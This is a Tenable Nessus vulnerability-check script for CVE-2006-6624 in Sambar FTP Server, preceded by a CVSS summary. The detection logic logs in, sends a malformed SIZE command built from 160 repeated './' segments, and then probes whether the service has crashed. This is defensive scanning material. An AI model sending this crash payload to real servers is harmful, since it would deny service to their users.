CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:N/I:N/A:P
EPSS
Percentile
93.0%
The remote host appears to be using Sambar Server, a multi-service application for Windows and Linux.
The version of Sambar installed on the remote host crashes when its FTP server component attempts to process a specially crafted SIZE command. An authenticated, remote attacker can exploit this flaw to deny service to legitimate users.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(24020);
script_version("1.20");
script_cve_id("CVE-2006-6624");
script_bugtraq_id(21617);
script_xref(name:"EDB-ID", value:"2934");
script_name(english:"Sambar FTP Server Malformed SIZE Command DoS");
script_summary(english:"Tries to crash Sambar Server with long FTP size command");
script_set_attribute(attribute:"synopsis", value:
"The remote FTP server is affected by a denial of service
vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote host appears to be using Sambar Server, a multi-service
application for Windows and Linux.
The version of Sambar installed on the remote host crashes when its
FTP server component attempts to process a specially crafted SIZE
command. An authenticated, remote attacker can exploit this flaw to
deny service to legitimate users.");
script_set_attribute(attribute:"solution", value:
"Unknown at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2007/01/17");
script_set_attribute(attribute:"vuln_publication_date", value: "2006/12/15");
script_cvs_date("Date: 2018/07/27 18:38:14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DENIAL);
script_family(english:"FTP");
script_copyright(english:"This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.");
script_dependencies("ftpserver_detect_type_nd_version.nasl");
script_require_keys("ftp/login", "ftp/password");
script_exclude_keys("ftp/msftpd", "ftp/ncftpd", "ftp/fw1ftpd", "ftp/vxftpd");
script_require_ports("Services/ftp", 21);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("ftp_func.inc");
port = get_ftp_port(default: 21);
# Make sure the banner indicates it's Sambar.
banner = get_ftp_banner(port:port);
if (!banner || "Sambar FTP Server" >!< banner) exit(0);
# nb: to exploit the vulnerability we need to log in.
user = get_kb_item_or_exit("ftp/login");
pass = get_kb_item("ftp/password");
soc = open_sock_tcp(port);
if (!soc) exit(1);
if (!ftp_authenticate(socket:soc, user:user, pass:pass))
{
ftp_close(socket:soc);
exit(1, "cannot login with supplied FTP credentials");
}
# Try to exploit the flaw to crash the daemon.
c = "SIZE ";
for (i=1; i<=160; i++) c += './';
send(socket:soc, data: c + '\r\n');
s = ftp_recv_line(socket:soc);
ftp_close(socket:soc);
if (!isnull(s)) exit(0);
# The server doesn't crash right away so try for a bit to open a connection.
failed = 0;
tries = 5;
for (iter=0; iter<=tries; iter++)
{
soc = open_sock_tcp(port);
if (soc)
{
failed = 0;
close(soc);
sleep(1);
}
else
{
failed++;
if (failed > 1)
{
security_warning(port);
exit(0);
}
}
}